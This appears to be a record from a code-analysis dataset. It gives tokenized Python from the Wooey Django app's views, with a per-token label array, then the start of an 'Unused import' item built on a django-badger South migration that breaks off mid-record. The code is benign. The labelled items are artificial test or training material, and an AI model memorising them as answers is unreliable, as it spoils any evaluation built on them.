"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "valid_", "is_", "True_", "and_", "group", "\\u", "valid_", "is_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "job_", "=_", "utils_", "._", "create", "\\u", "woo", "ey", "\\u", "job_", "(_", "script", "\\u", "version", "\\u", "pk_", "=_", "version", "\\u", "pk_", ",_", "user_", "=_", "user_", ",_", "data_", "=_", "form_", "._", "clean", "ed", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "job_", "._", "submit", "\\u", "to", "\\u", "celery_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "{_", "'", "valid", "'_", ":_", "True_", ",_", "'", "job", "\\u", "id", "'_", ":_", "job_", "._", "id_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "{_", "'", "valid", "'_", ":_", "False_", ",_", "'", "error", "s", "'_", ":_", "{_", "'\\u", "\\u", "all", "\\u\\u'_", ":_", "[_", "force", "\\u", "text_", "(_", "\\u_", "(_", "'", "You", " ", "are", " ", "not", " ", "permit", "ted", " ", "to", " ", "access", " ", "this", " ", "script", ".'_", ")_", ")_", "]_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "{_", "'", "valid", "'_", ":_", "False_", ",_", "'", "error", "s", "'_", ":_", "form_", "._", "errors_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Wo", "oe", "y", "Script", "JSON_", "(_", "Wo", "oe", "y", "Script", "Base_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "FIX", "ME", ":", " ", "the", " ", "form", " ", "data", " ", "is", " ", "return", "ed", " ", "as", " ", "form", " ", "object", "s", " ", "so", " ", "can", " ", "be", " ", "pass", "ed", " ", "to", " ", "templates_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "this", " ", "render", "\\u", "fn", " ", "allow", "s", " ", "us", " ", "to", " ", "pass", " ", "the", " ", "return", " ", "through", " ", "a", " ", "stringify", " ", "method", " ", "for", " ", "JSON_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Wo", "oe", "y", "Script", "JSON_", "(_", "Wo", "oe", "y", "Script", "Base_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "FIX", "ME", ":", " ", "the", " ", "form", " ", "data", " ", "is", " ", "return", "ed", " ", "as", " ", "form", " ", "object", "s", " ", "so", " ", "can", " ", "be", " ", "pass", "ed", " ", "to", " ", "templates_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "this", " ", "render", "\\u", "fn", " ", "allow", "s", " ", "us", " ", "to", " ", "pass", " ", "the", " ", "return", " ", "through", " ", "a", " ", "stringify", " ", "method", " ", "for", " ", "JSON_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "render", "\\u", "fn_", "(_", "form_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "form_", "._", "as", "\\u", "table_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Wo", "oe", "y", "Script", "JSON_", "(_", "Wo", "oe", "y", "Script", "Base_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "FIX", "ME", ":", " ", "the", " ", "form", " ", "data", " ", "is", " ", "return", "ed", " ", "as", " ", "form", " ", "object", "s", " ", "so", " ", "can", " ", "be", " ", "pass", "ed", " ", "to", " ", "templates_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "this", " ", "render", "\\u", "fn", " ", "allow", "s", " ", "us", " ", "to", " ", "pass", " ", "the", " ", "return", " ", "through", " ", "a", " ", "stringify", " ", "method", " ", "for", " ", "JSON_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "render", "\\u", "to", "\\u", "response_", "(_", "self_", ",_", "context_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Js", "on", "Response_", "(_", "context_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Wo", "oe", "y", "Script", "JSON_", "(_", "Wo", "oe", "y", "Script", "Base_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "FIX", "ME", ":", " ", "the", " ", "form", " ", "data", " ", "is", " ", "return", "ed", " ", "as", " ", "form", " ", "object", "s", " ", "so", " ", "can", " ", "be", " ", "pass", "ed", " ", "to", " ", "templates_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "this", " ", "render", "\\u", "fn", " ", "allow", "s", " ", "us", " ", "to", " ", "pass", " ", "the", " ", "return", " ", "through", " ", "a", " ", "stringify", " ", "method", " ", "for", " ", "JSON_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "post_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "super_", "(_", "Wo", "oe", "y", "Script", "JSON_", ",_", "self_", ")_", "._", "post_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Js", "on", "Response_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Wo", "oe", "y", "Script", "View_", "(_", "Wo", "oe", "y", "Script", "Base_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "template", "\\u", "name_", "=_", "'", "woo", "ey", "/", "scripts", "/", "script", "\\u", "view", ".", "html", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Wo", "oe", "y", "Script", "View_", "(_", "Wo", "oe", "y", "Script", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "post_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "super_", "(_", "Wo", "oe", "y", "Script", "View_", ",_", "self_", ")_", "._", "post_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "data_", "[_", "'", "valid", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "[_", "'", "redirec", "t", "'_", "]_", "=_", "reverse_", "(_", "'", "woo", "ey", ":", "celery", "\\u", "results", "'_", ",_", "kwargs_", "=_", "{_", "'", "job", "\\u", "id", "'_", ":_", "data_", "[_", "'", "job", "\\u", "id", "'_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Js", "on", "Response_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Wo", "oe", "y", "Home", "View_", "(_", "Templa", "te", "View_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "template", "\\u", "name_", "=_", "'", "woo", "ey", "/", "home", ".", "html", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Wo", "oe", "y", "Home", "View_", "(_", "Templa", "te", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "context", "\\u", "data_", "(_", "self_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "job", "\\u", "id", " ", "=", " ", "self", ".", "request", ".", "GET", ".", "get", "('", "job", "\\u", "id", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "=_", "super_", "(_", "Wo", "oe", "y", "Home", "View_", ",_", "self_", ")_", "._", "get", "\\u", "context", "\\u", "data_", "(_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "[_", "'", "scripts", "'_", "]_", "=_", "utils_", "._", "get", "\\u", "current", "\\u", "scripts_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "for", " ", "logged", " ", "in", " ", "user_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "request_", "._", "user_", "._", "is", "\\u", "authenticated_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Get", " ", "the", " ", "id", " ", "of", " ", "every", " ", "favorite", " ", "(", "scrap", "book", ")", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctype_", "=_", "Conten", "t", "Type_", "._", "objects_", "._", "get", "\\u", "for", "\\u", "model_", "(_", "Script_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "[_", "'", "favorite", "\\u", "script", "\\u", "ids", "'_", "]_", "=_", "Favorite", "_", "._", "objects_", "._", "filter_", "(_", "content", "\\u", "type_", "=_", "ctype_", ",_", "user", "\\u\\u", "id_", "=_", "self_", "._", "request_", "._", "user_", "._", "id_", ")_", "._", "values", "\\u", "list_", "(_", "'", "object\\u", "id", "'_", ",_", "flat_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "[_", "'", "favorite", "\\u", "script", "\\u", "ids", "'_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "ctx_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Wo", "oe", "y", "Profil", "e", "View_", "(_", "Templa", "te", "View_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "template", "\\u", "name_", "=_", "'", "woo", "ey", "/", "profile", "/", "profile", ".", "html", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Wo", "oe", "y", "Profil", "e", "View_", "(_", "Templa", "te", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "context", "\\u", "data_", "(_", "self_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "=_", "super_", "(_", "Wo", "oe", "y", "Profil", "e", "View_", ",_", "self_", ")_", "._", "get", "\\u", "context", "\\u", "data_", "(_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'", "user", "name", "'_", "in_", "self_", "._", "kwargs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user_", "=_", "get", "\\u", "user", "\\u", "model_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "[_", "'", "profile", "\\u", "user", "'_", "]_", "=_", "user_", "._", "objects_", "._", "get_", "(_", "username_", "=_", "self_", "._", "kwargs_", "._", "get_", "(_", "'", "user", "name", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "request_", "._", "user_", "and_", "self_", "._", "request_", "._", "user_", "._", "is", "\\u", "authenticated_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "[_", "'", "profile", "\\u", "user", "'_", "]_", "=_", "self_", "._", "request_", "._", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "ctx_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Wo", "oe", "y", "Scra", "pbo", "ok", "View_", "(_", "Templa", "te", "View_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "template", "\\u", "name_", "=_", "'", "woo", "ey", "/", "scrap", "book", ".", "html", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Wo", "oe", "y", "Scra", "pbo", "ok", "View_", "(_", "Templa", "te", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "context", "\\u", "data_", "(_", "self_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "=_", "super_", "(_", "Wo", "oe", "y", "Scra", "pbo", "ok", "View_", ",_", "self_", ")_", "._", "get", "\\u", "context", "\\u", "data_", "(_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "the", " ", "id", " ", "of", " ", "every", " ", "favorite", " ", "(", "scrap", "book", ")", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "ctype_", "=_", "Conten", "t", "Type_", "._", "objects_", "._", "get", "\\u", "for", "\\u", "model_", "(_", "User", "File_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "favorite", "\\u", "file", "\\u", "ids_", "=_", "Favorite", "_", "._", "objects_", "._", "filter_", "(_", "content", "\\u", "type_", "=_", "ctype_", ",_", "user_", "=_", "self_", "._", "request_", "._", "user_", ")_", "._", "values", "\\u", "list_", "(_", "'", "object\\u", "id", "'_", ",_", "flat_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "out", "\\u", "files_", "=_", "utils_", "._", "get", "\\u", "file", "\\u", "previe", "ws", "\\u", "by", "\\u", "ids_", "(_", "favorite", "\\u", "file", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "all_", "=_", "out", "\\u", "files_", "._", "pop_", "(_", "'", "all", "'_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "archives", "_", "=_", "out", "\\u", "files_", "._", "pop_", "(_", "'", "archives", "'_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ctx_", "[_", "'", "file", "\\u", "group", "s", "'_", "]_", "=_", "out", "\\u", "files_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "[_", "'", "favorite", "\\u", "file", "\\u", "ids", "'_", "]_", "=_", "favorite", "\\u", "file", "\\u", "ids_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "ctx_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Wo", "oe", "y", "Sear", "ch", "Base_", "(_", "View_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "search", "\\u", "fields_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Wo", "oe", "y", "Sear", "ch", "Base_", "(_", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get_", "(_", "self_", ",_", "request_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "search", "\\u", "results_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "q", "'_", "in_", "request_", "._", "GET_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query", "\\u", "string_", "=_", "request_", "._", "GET_", "[_", "'", "q", "'_", "]_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "query_", "=_", "utils_", "._", "get", "\\u", "query_", "(_", "query", "\\u", "string_", ",_", "self_", "._", "search", "\\u", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "search", "\\u", "results_", "=_", "self_", "._", "model_", "._", "objects_", "._", "filter_", "(_", "query_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "self_", "._", "search_", "(_", "request_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Wo", "oe", "y", "Script", "Sear", "ch", "Base_", "(_", "Wo", "oe", "y", "Sear", "ch", "Base_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "=_", "Script_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "search", "\\u", "fields_", "=_", "[_", "'", "script", "\\u", "name", "'_", ",_", "'", "script", "\\u", "description", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Wo", "oe", "y", "Script", "Sear", "ch", "JSON_", "(_", "Wo", "oe", "y", "Script", "Sear", "ch", "Base_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "result", " ", "of", " ", "the", " ", "script", " ", "search", " ", "as", " ", "JSO", "N", " ", "contain", "ing", " ", "data", " ", "only", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Wo", "oe", "y", "Script", "Sear", "ch", "JSON_", "(_", "Wo", "oe", "y", "Script", "Sear", "ch", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "search_", "(_", "self_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "script_", "in_", "self_", "._", "search", "\\u", "results_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "._", "append_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "script_", "._", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "script_", "._", "script", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "description", "'_", ":_", "script_", "._", "script", "\\u", "description_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "reverse_", "(_", "'", "woo", "ey", ":", "woo", "ey", "\\u", "script", "'_", ",_", "kwargs_", "=_", "{_", "'", "slug", "'_", ":_", "script_", "._", "slug_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Js", "on", "Response_", "(_", "{_", "'", "results", "'_", ":_", "results_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Wo", "oe", "y", "Script", "Sear", "ch", "JSO", "NH", "TML", "_", "(_", "Wo", "oe", "y", "Script", "Sear", "ch", "Base_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "result", " ", "of", " ", "the", " ", "script", " ", "search", " ", "as", " ", "JSO", "N", " ", "contain", "ing", " ", "render", "ed", " ", "template", "\\", "10", ";", " ", " ", " ", " ", "element", "s", " ", "for", " ", "display", " ", "in", " ", "the", " ", "original", " ", "page", ".", " ", "Thi", "s", " ", "is", " ", "a", " ", "temporar", "y", " ", "function", "\\", "10", ";", " ", " ", " ", " ", "unti", "l", " ", "the", " ", "handling", " ", "is", " ", "moved", " ", "to", " ", "client", " ", "side", " ", "render", "ing", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Wo", "oe", "y", "Script", "Sear", "ch", "JSO", "NH", "TML", "_", "(_", "Wo", "oe", "y", "Script", "Sear", "ch", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "search_", "(_", "self_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "script_", "in_", "self_", "._", "search", "\\u", "results_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "._", "append_", "(_", "render", "\\u", "to", "\\u", "string_", "(_", "'", "woo", "ey", "/", "scripts", "/", "script", "\\u", "panel", ".", "html", "'_", ",_", "{_", "'", "script", "'_", ":_", "script_", "}_", ",_", "context", "\\u", "instance_", "=_", "Request", "Context_", "(_", "request_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Js", "on", "Response_", "(_", "{_", "'", "results", "'_", ":_", "results_", "}_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
mozilla/django-badger/badger/south_migrations/0001_initial.py
[ { "content": "# encoding: utf-8\nimport datetime\nfrom south.db import db\nfrom south.v2 import SchemaMigration\nfrom django.db import models\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Migration(SchemaMigration):\n\n\n\n\n\n models = {\n 'auth.group': {\n 'Meta': {'object_name': 'Group'},\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),\n 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': \"orm['auth.Permission']\", 'symmetrical': 'False', 'blank': 'True'})\n },\n 'auth.permission': {\n 'Meta': {'ordering': \"('content_type__app_label', 'content_type__model', 'codename')\", 'unique_together': \"(('content_type', 'codename'),)\", 'object_name': 'Permission'},\n 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),\n 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': \"orm['contenttypes.ContentType']\"}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})\n },\n 'auth.user': {\n 'Meta': 